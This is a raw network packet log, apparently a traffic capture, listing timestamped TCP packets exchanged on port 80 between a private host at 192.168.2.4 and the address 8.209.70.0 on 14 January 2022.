Jan 14, 2022 12:29:55.764712095 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.764749050 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.764789104 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786231041 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786257982 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786274910 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786290884 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786308050 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786324978 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786324024 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786345005 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786362886 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786382914 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786397934 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786413908 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786415100 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786421061 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786431074 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786448956 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786473989 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786478996 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786480904 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786544085 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786561012 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786576033 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786592007 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786608934 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786612034 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786628008 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786644936 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786662102 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786678076 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786694050 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786700010 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786722898 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786726952 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786741018 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786758900 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786773920 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786791086 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786818027 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786820889 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786823034 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786832094 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786839008 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786856890 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786912918 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.786928892 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786946058 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786961079 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786977053 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.786993027 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.787009001 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.787024975 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.787025928 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.787033081 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.787036896 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.787043095 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.787060022 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.787101030 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.787107944 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.787110090 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.803728104 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.803764105 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.803796053 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.803814888 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.803915024 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.825978041 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826042891 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826081991 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826117992 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826155901 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826191902 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826205969 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.826227903 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826235056 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.826240063 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.826267958 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826283932 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.826306105 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826344013 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826381922 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826416969 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826452017 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826453924 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.826462030 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.826488972 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826524019 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826559067 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826576948 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.826582909 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.826596022 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826632023 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826669931 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826702118 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826736927 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826756954 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.826764107 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.826772928 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826807022 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826842070 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.826845884 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826880932 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826916933 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826946974 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.826951981 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.826953888 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.826987982 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827023983 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827055931 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.827059031 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827084064 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.827095032 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827131033 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827163935 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.827163935 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827200890 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827238083 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827270985 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827275038 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.827307940 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827342987 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827369928 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.827375889 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827377081 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.827413082 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827447891 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827478886 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.827485085 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827521086 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827550888 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.827553988 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827590942 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827625990 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827656984 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.827661037 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827663898 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.827697039 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827729940 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.827764034 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.827802896 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.845110893 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845185041 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845218897 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845258951 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845268011 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.845299006 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845325947 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.845340967 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845383883 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845426083 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845444918 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.845465899 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845504999 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845542908 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845557928 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.845577955 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.845582962 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845623970 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845664978 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845704079 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845736027 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.845743895 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845746994 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.845782995 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845822096 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845827103 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.845901012 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845905066 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.845942020 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845979929 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.845999956 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.846018076 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846055984 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846065044 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.846095085 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846136093 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846170902 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846210003 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846210003 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.846218109 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.846250057 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846287012 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846326113 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846330881 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.846364021 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846385956 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.846405029 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846445084 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846472025 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.846483946 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846524954 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846564054 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846601009 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846602917 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.846610069 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.846642017 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846671104 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.846712112 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.865384102 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.866194010 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866238117 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866277933 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866316080 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866319895 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.866334915 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.866355896 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866395950 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866434097 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866455078 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.866473913 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866512060 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866549015 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866568089 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.866586924 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866600990 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.866626978 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866666079 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866689920 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.866703987 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.866873026 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.868957043 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.869188070 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.882879972 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.882956028 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.882997036 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883037090 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883076906 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.883086920 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883099079 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.883128881 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883131027 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.883171082 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883210897 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883250952 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883270979 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.883290052 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883328915 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883368969 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883389950 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.883410931 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883426905 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.883450985 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883490086 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883526087 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883538961 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.883546114 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.883564949 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883604050 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883642912 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883682013 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883718967 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883727074 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.883733988 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.883759975 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883799076 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883835077 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883867979 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.883873940 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.883878946 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883918047 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883958101 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.883963108 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.883997917 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.884037018 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.884068012 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.884073019 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.884077072 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.884116888 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.884154081 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.884192944 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.884197950 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.884231091 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.884635925 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.888159990 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888223886 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888261080 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888299942 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888340950 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888360023 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.888377905 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888382912 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.888422012 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888463020 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888499975 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888516903 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.888524055 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.888540030 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888578892 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888617039 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888622999 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.888628006 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.888659000 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888695002 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888732910 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888767958 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.888772964 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888778925 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.888809919 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888850927 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888887882 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888922930 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.888926983 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.888932943 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.889045954 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889091969 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889133930 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889168024 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.889174938 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889180899 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.889215946 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889255047 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889295101 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889301062 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.889332056 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889369965 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889408112 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889430046 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.889447927 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889483929 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.889488935 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889528990 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889544964 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.889568090 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889605045 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889641047 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889647961 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.889679909 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889719009 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889725924 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.889759064 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889797926 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889827013 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.889834881 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889848948 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.889902115 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889942884 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.889955997 CET	49872	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:55.889981031 CET	80	49872	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:55.890017986 CET	80	49872	8.209.70.0	192.168.2.4
